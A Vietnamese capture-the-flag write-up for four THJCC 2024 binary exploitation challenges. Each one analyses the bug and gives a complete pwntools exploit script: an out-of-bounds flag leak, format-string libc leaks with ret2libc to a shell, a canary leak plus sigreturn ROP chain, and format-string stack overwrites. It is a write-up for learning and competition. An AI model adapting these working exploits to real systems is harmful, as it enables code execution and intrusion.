---
# System prepended metadata

title: THJCC 2024
tags: [writeup]

---



![image](https://hackmd.io/_uploads/H1e_K504ye.png)




![image](https://hackmd.io/_uploads/ryQFa5-HJx.png)


## Peek a char


![image](https://hackmd.io/_uploads/r1dD9Mirke.png)

- bài này nói về 1 lỗi oob , ta sẽ thử reverse nó  : 

![image](https://hackmd.io/_uploads/HJBo9fsBJg.png)

- đầu tiên sẽ là ```strcpy``` chuỗi flag vào ```v4``` , tiếp theo dùng scanf để nhận input vào ```v5``` , tiếp theo sẽ là 1 ```vòng while``` và bắt ta nhập 1 số kiểu ```int``` , cuối cùng là dùng printf() để in số ta vừa nhập và kí tự tại v5[v3] 
- ```v5``` và ```v3``` là input của ta nhập vào và có thể control được , cộng thêm ở đây nó sẽ không check idx gì cả -> có thể leak dữ liệu trong phạm vi của ```v3``` , phạm vi này sẽ trong khoảng range của kiểu ```int```
- ta cũng thấy flag được coppy vào v4 và v4 nằm trên v5 -> nhập idx âm là in được flag ra 

quá trình lấy idx và in ra cũng khá đơn giản thôi

![image](https://hackmd.io/_uploads/BJKM-msrke.png)

- đầu tiên mov ```[rbp+var_124]``` -> ```eax``` có nghĩa là lưu giá trị của v3 vào eax , giá trị này là 4 byte 
- tiếp theo lệnh ```cdqe``` chuyển rax thành 8 byte 
- tiếp theo nữa là mov ```[rbp+rax+var_110]``` -> ```eax``` có nghĩa là nó sẽ lấy địa chỉ ```rbp-0x110``` +  với idx mà ta vừa nhập lưu vào rax , xong bước này ta có thể hiểu được nó sẽ in ra cái gì 

- stack sẽ là thế này 

![image](https://hackmd.io/_uploads/HyteMXiSJg.png)


nếu ta muốn in kí tự đầu tiên của flag đó ra thì phép tính đơn giản như sau : ```rbp+0x110 + input nhập vào``` input này là 8 byte

vậy muốn lấy được kí tự của flag thì chỉ việc dùng : ```địa chỉ cần leak - địa chỉ rbp-0x110 = ``` giá trị sẽ là idx ta nhập vào



- trên sever thì idx khá là xa với local :>>

![image](https://hackmd.io/_uploads/HkLYipiSJl.png)


và ta có flag

![image](https://hackmd.io/_uploads/BybM6psS1e.png)

script 

```
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chal',checksec=False)

#p = process()
p = remote('23.146.248.230', 12343)
p.sendlineafter(b'input: ',b'phuocloideptrai')
flag = b''
for i in range(-48,30):
    p.sendlineafter(b'inspect: ',f"{i}".encode())
    p.recvuntil(b'is ')
    p.recv(1)
    flag += p.recv(1)
print(flag)


p.interactive()
```



## Infinite Recursion


checksec : 

![image](https://hackmd.io/_uploads/B1iSWAsHJx.png)


reverse : 

- lấy time() gán cho v3 và nó sẽ ```srand``` với seed là v3 -> vậy ta có thể biết được giá trị của srand() tạo ra 
- ta thấy ở cuối cùng nó sẽ thực thi ```system``` cho ta sau khi thực hiện hàm ```rand_fun``` xong ,  

![image](https://hackmd.io/_uploads/H1I8WRjSyx.png)

- rand_fun : 

với giá trị chẵn thì sẽ thực thi hàm ```bòf``` còn lẻ thì sẽ thực thi hàm ```fsb```
![image](https://hackmd.io/_uploads/BkIbfCorJx.png)


- fsb : 

ta thấy ngay buf fsb ở đây luôn , tuy nhiên ở đây input chỉ có 15 kí tự 

![image](https://hackmd.io/_uploads/HJ3uGCoByl.png)

- bof

giống như tên hàm , ở đây sẽ có bug ```bof```
![image](https://hackmd.io/_uploads/r1-zQCoS1g.png)


--------

- khai thác : 

- vì ở đây NX bật nên không dùng shellcode được ở bài này (có thể nếu tận dụng bof -> dùng syscall mprotect) , tuy nhiên sẽ hơi lâu nên ta sẽ xài cách khác 

-  chương trình có sẵn ```system(/bin/sh)``` nên ta lấy thằng này luôn cho lẹ -> không cần địa chỉ libc cũng được , nhưng nếu không có libc address thì ta sẽ không có gadget để control được ```RDI``` , mục đích của ta là cần địa chỉ của ```/bin/sh``` vào RDI



![image](https://hackmd.io/_uploads/Sy98VRsHke.png)

- vì vậy ta cũng phải cần libc_address , leak xong libc thì dùng hàm bof để lấy shell thôi
- 1 vấn đề nữa là ở đây nó random giá trị để thực thi 1 trong 2 hàm kia , ta có thể dùng ```ctype``` trong python để lấy giá trị đó cho chính xác còn ở đây thì mình brute_force bằng tay :)))  vì chỉ có 2 giá trị nên brute_force cũng nhanh

script 
```
#!/usr/bin/python3
from time import time
from ctypes import CDLL
from pwn import *
context.binary = exe = ELF('./chal_patched',checksec=False)
libc =  ELF('./libc6_2.35-0ubuntu3.8_amd64.so')
p = process()
p = remote('23.146.248.230', 12355)
#gdb.attach(p,gdbscript='''
#           b*bof+61
#           ''')
p.sendlineafter(b'fsb> ',b'%9$p')
exe.address = int(p.recv(14),16) - 0x12d9
print(hex(exe.address))
p.sendlineafter(b'fsb> ',b'%7$saaaa' + p64(exe.got.puts))
leak_puts = u64(p.recv(6).ljust(8,b'\x00'))
libc.address = leak_puts - libc.sym.puts
print("libc: ",hex(libc.address))
pop_rdi = 0x000000000002a3e5 + libc.address
bin_sh = next(libc.search('/bin/sh\x00'))
input()
p.sendline(b'a'*16 + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(pop_rdi+1) +p64(libc.sym.system))
p.interactive()
```

## TheBestAnime


- 1 bài mà mình bị overthinking (nghĩ rất nhiều cách exploit tuy nhiên thử hoài méo dc) 

- nhìn khá rắc rối vì file này là ```static``` , tuy nhiên chỉ cần chú ý những đoạn chính là đoạn ```scanf``` thôi
- scanf đàu tiên nhập 1 chuỗi vào v20 và dùng ```strcmp``` để check có giống với chuỗi ```Darling in the FRANXX``` không?  , nếu không thì thoát 
- tiếp theo sẽ đi vào hàm ```darling```

![image](https://hackmd.io/_uploads/HkR6L0sB1g.png)

- darling()

- ta sẽ chú ý đoạn nhập thôi vì mấy cái printf khá linh tinh

đoạn này ta thấy được 1 vấn đề , nó sẽ cho ta nhập 1 số và ép kiểu về ```usigned int``` và lần 1 sẽ là user , lần 2 là ```passcode``` , lúc in ra thì nó sẽ in v29[v28] -> có lỗi oob và ta sẽ leak đuọc gì đó từ đây

![image](https://hackmd.io/_uploads/HJr0wRoByg.png)

- quay về hàm main thì sẽ xảy ra ```bof``` và end chương trình


![image](https://hackmd.io/_uploads/S1H_YCirJx.png)

checksec : canary bật sẽ là 1 trở ngại để tận dụng bug ```bof``` , tuy nhiên ta được leak tùy ý thì ta sẽ leak được canary 
![image](https://hackmd.io/_uploads/rkkqKRiBJx.png)


-  à còn 1 vấn đè nữa là file này static -> không có libc để ret2libc , có 1 hướng mà mình nghĩ đến là dùng ```mprotect``` tuy nhiên thì nó sẽ bị lỗi gì đó nên mình dùng syscall ```Sigreturn``` để khai thác bài này
-  vậy flow khai thác sẽ như sau : 

bước 1 : leak canary -> BOF
bước 2 : dùng ```Sigreturn``` ghi /bin/sh vào bss -> return tiếp theo của nó sẽ là thực thi ```execve('/bin/sh',0,0)```

script : 

```
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./anmie',checksec=False)

#p = process()
p = remote('cha-thjcc.scint.org', 10101)
#gdb.attach(p,gdbscript='''
#           b*0x0000000000401CB2
#           ''')
syscall = 0x000000000041a2e6
pop_rsi = 0x000000000041fcf5
pop_rdi = 0x0000000000494253
mov_rdx_rbx = 0x0000000000432f5b
pop_rbx = 0x00000000004571e7
pop_rax = 0x0000000000434bbb
p.sendlineafter(b'anime > ',b'Darling in the FRANXX')
p.sendlineafter(b'user > ',b'14')
p.recvuntil(b'User ')
canary = p.recv(8)
p.sendlineafter(b'passcode > ',b'15')
p.recvuntil(b'code ')
canary = p.recv(8) + canary
canary = b'0x' + canary
print("canary :",canary)

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x4d26e0
frame.rdx = 0x100
frame.rip = syscall
frame.rsp = 0x4d26e0+8

canary = int(canary,16)
payload = b'a'*56
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)
payload += bytes(frame)
p.sendline(payload)
input()
p.sendline(b'/bin/sh\x00'+ p64(pop_rdi) + p64(0x4d26e0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(pop_rbx) + p64(0) + p64(mov_rdx_rbx))




p.interactive()
```



## String Reverser


- bài này có 1 số vấn đề : libc của bài thấp hơn libc mình dùng và trong bài cũng không leak được (mình không nhớ rõ nhưng mình mở ticket thì author nói không liên quan đến libc) -> offset trên stack không giống nhau và mình chỉ khai thác được ở local 


- reverse: 
1 bug fsb  rõ ràng xuất hiện trước mặt , tuy nhiên trước khi thực hiện ```printf``` thì nó sẽ gọi hàm ```reverse``` trước

![image](https://hackmd.io/_uploads/SkhtiRjSJl.png)


- reverse : 

nó sẽ loop bằng cách lấy độ dài của chuỗi ta nhập/2 , nói chung là sẽ đảo ngược chuỗi của ta nhập vào 
![image](https://hackmd.io/_uploads/BkgJnAsByl.png)

checksec : 

![image](https://hackmd.io/_uploads/S1zp3CoHJe.png)

- 1 điều đặc biệt nữa là khi mình xem lại thì là bài này cần thay đổi 1 giá trị trên stack , không hiểu sao IDA nó decomplie không hiện lên :v

![image](https://hackmd.io/_uploads/BybmTRjHkl.png)

- ta sẽ cần thay đổi ```rbp+var4``` thành 0xdeadbeef , thay đổi giá trị này thì sẽ khá dễ dàng nếu ta có thể nhập trên stack , tuy  nhiên ở đây input của ta sẽ nhập vào bss , vậy làm sao khai thác được?
- ở đây ta sẽ cần phải leak địa chỉ stack cần ghi -> ghi vào 1 giá trị trên stack để nó trỏ đến giá trị của ta 

![image](https://hackmd.io/_uploads/HyBx0RjBkg.png)

ví dụ A->B->C , thì ta sẽ ghi B->C bằng B->địa chỉ stack chứa giá trị cần ghi  , cuối cùng là ghi giá trị vào 

giống như ở trên ảnh :  ```0x7fffffffda18``` -> ```0x7fffffffdcc0```  , và check ```0x7fffffffdc9a``` -> xem có trỏ đến 1 địa chỉ stack khác gần giống với địa chỉ stack ta cần ghi không , nếu giống thì thay đổi 1,2 byte cho nó biến thành địa chỉ stack chứa giá trị cần ghi , lúc này thì ta ghi như bình thường

script hơi lỏ vì mình lười sửa lại :>> 


```
#!/usr/bin/env python3

from pwn import *

context.binary = exe = ELF('./rev_patched',checksec=False)

#p = process()
#gdb.attach(p,gdbscript='''
#            b*main+166
#           ''')
#input()
p = remote('23.146.248.230', 12321)
p.sendlineafter(b'String: ',b'p$31%')
leak = int(p.recvline()[10:-1],16) - 0x11c
print(hex(leak))
leak_1 = str(leak)
leak_1 = leak_1.encode()

print(leak)
leak_2 = leak+2
print(hex(leak_2))
leak_2 = str(leak_2 & 0xff)
leak_2 = leak_2.encode()
print(leak_2)
#p.sendlineafter(b'String: ',b'')
leak_1 = leak_1[::-1]
print(leak_1)
leak_2 = leak_2[::-1]
print(leak_2)
offset = 28
payload = b'%8$hn'
p.sendlineafter(b'String: ',b'nh$31%' + b'c' + leak_1 + b'%')
p.sendlineafter(b'String: ',b'nh$34%c97884%')
p.sendlineafter(b'String: ',b'nhh$31%' + b'c' + leak_2 + b'%')
p.sendlineafter(b'String: ',b'nh$34%c50075%')

p.interactive()
```


